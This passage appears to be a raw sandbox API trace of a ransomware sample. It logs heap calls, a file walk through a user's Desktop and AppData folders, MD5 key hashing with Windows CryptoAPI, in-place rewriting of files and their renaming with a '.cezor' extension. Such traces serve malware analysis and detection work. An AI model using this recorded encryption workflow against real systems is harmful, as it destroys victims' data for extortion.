hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.336] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0061.336] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.336] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.336] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.337] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.337] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.337] PathFindFileNameW (pszPath="") returned="" [0061.337] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.338] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.338] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0061.338] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0061.338] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d4b0 | out: hHeap=0x670000) returned 1 [0061.338] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.338] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.338] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\") returned="T0CQ8VVBC5Xi_UA\\" [0061.338] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\") returned="Qz91k6FGRf5u2kNaQ\\" [0061.338] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0061.338] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.338] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.338] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.338] PathFindFileNameW (pszPath="") returned="" [0061.339] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0ac61b0, ftCreationTime.dwHighDateTime=0x1d4d2ee, ftLastAccessTime.dwLowDateTime=0x9e6a3f0, ftLastAccessTime.dwHighDateTime=0x1d4ca58, ftLastWriteTime.dwLowDateTime=0x9e6a3f0, ftLastWriteTime.dwHighDateTime=0x1d4ca58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.339] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.339] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0ac61b0, ftCreationTime.dwHighDateTime=0x1d4d2ee, ftLastAccessTime.dwLowDateTime=0x9e6a3f0, ftLastAccessTime.dwHighDateTime=0x1d4ca58, ftLastWriteTime.dwLowDateTime=0x9e6a3f0, ftLastWriteTime.dwHighDateTime=0x1d4ca58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.339] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd306f00, ftCreationTime.dwHighDateTime=0x1d4ce61, ftLastAccessTime.dwLowDateTime=0x836ed6e0, ftLastAccessTime.dwHighDateTime=0x1d4c85d, ftLastWriteTime.dwLowDateTime=0x836ed6e0, ftLastWriteTime.dwHighDateTime=0x1d4c85d, nFileSizeHigh=0x0, nFileSizeLow=0x174d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5 wO.jpg", cAlternateFileName="5WO~1.JPG")) returned 1 [0061.339] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\5 wO.jpg") returned=".jpg" [0061.339] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\5 wO.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\5 wo.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.339] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=95447) returned 1 [0061.339] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.341] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x174b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.342] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.342] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x174d7, lpOverlapped=0x0) returned 1 [0061.343] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.343] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.343] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.343] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eab8) returned 1 [0061.344] CryptCreateHash (in: hProv=0x74eab8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.344] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.344] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.344] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.344] GetLastError () returned 0x0 [0061.344] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.344] CryptReleaseContext (hProv=0x74eab8, dwFlags=0x0) returned 1 [0061.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.345] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x174d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.345] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.345] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.345] CloseHandle (hObject=0x5c4) returned 1 [0061.346] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\5 wO.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\5 wo.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\5 wO.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\5 wo.jpg.cezor")) returned 1 [0061.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.347] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.348] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fea18 | out: hHeap=0x670000) returned 1 [0061.348] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161db550, ftCreationTime.dwHighDateTime=0x1d4c76f, ftLastAccessTime.dwLowDateTime=0x68c34f20, ftLastAccessTime.dwHighDateTime=0x1d4ca7d, ftLastWriteTime.dwLowDateTime=0x68c34f20, ftLastWriteTime.dwHighDateTime=0x1d4ca7d, nFileSizeHigh=0x0, nFileSizeLow=0x141c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xIlfywT2BL_f.m4a", cAlternateFileName="XILFYW~1.M4A")) returned 1 [0061.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xee) returned 0x31194a8 [0061.348] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.348] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xIlfywT2BL_f.m4a") returned=".m4a" [0061.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xIlfywT2BL_f.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\xilfywt2bl_f.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.348] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=82368) returned 1 [0061.348] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.350] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1419a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.350] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.351] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.351] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.351] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x141c0, lpOverlapped=0x0) returned 1 [0061.352] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.352] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.352] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.352] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eab8) returned 1 [0061.353] CryptCreateHash (in: hProv=0x74eab8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.353] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.353] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.353] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.353] GetLastError () returned 0x0 [0061.353] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.353] CryptReleaseContext (hProv=0x74eab8, dwFlags=0x0) returned 1 [0061.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x141c0) returned 0x3132418 [0061.353] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.353] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x141bb, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x141bb, lpOverlapped=0x0) returned 1 [0061.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.354] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x141c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.354] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.354] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.354] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.354] CloseHandle (hObject=0x5c4) returned 1 [0061.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016c78 [0061.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c0) returned 0x3100c28 [0061.355] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xIlfywT2BL_f.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\xilfywt2bl_f.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xIlfywT2BL_f.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\t0cq8vvbc5xi_ua\\xilfywt2bl_f.m4a.cezor")) returned 1 [0061.356] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd20a1b0, ftCreationTime.dwHighDateTime=0x1d4c8c2, ftLastAccessTime.dwLowDateTime=0x8489b330, ftLastAccessTime.dwHighDateTime=0x1d4d215, ftLastWriteTime.dwLowDateTime=0x8489b330, ftLastWriteTime.dwHighDateTime=0x1d4d215, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xt72dHYiX", cAlternateFileName="XT72DH~1")) returned 1 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb688 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16c) returned 0x306e0f0 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eab8 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dc78 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ecd8 [0061.357] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd20a1b0, ftCreationTime.dwHighDateTime=0x1d4c8c2, ftLastAccessTime.dwLowDateTime=0x8489b330, ftLastAccessTime.dwHighDateTime=0x1d4d215, ftLastWriteTime.dwLowDateTime=0x8489b330, ftLastWriteTime.dwHighDateTime=0x1d4d215, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xt72dHYiX", cAlternateFileName="XT72DH~1")) returned 0 [0061.357] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.357] PeekMessageW (in: 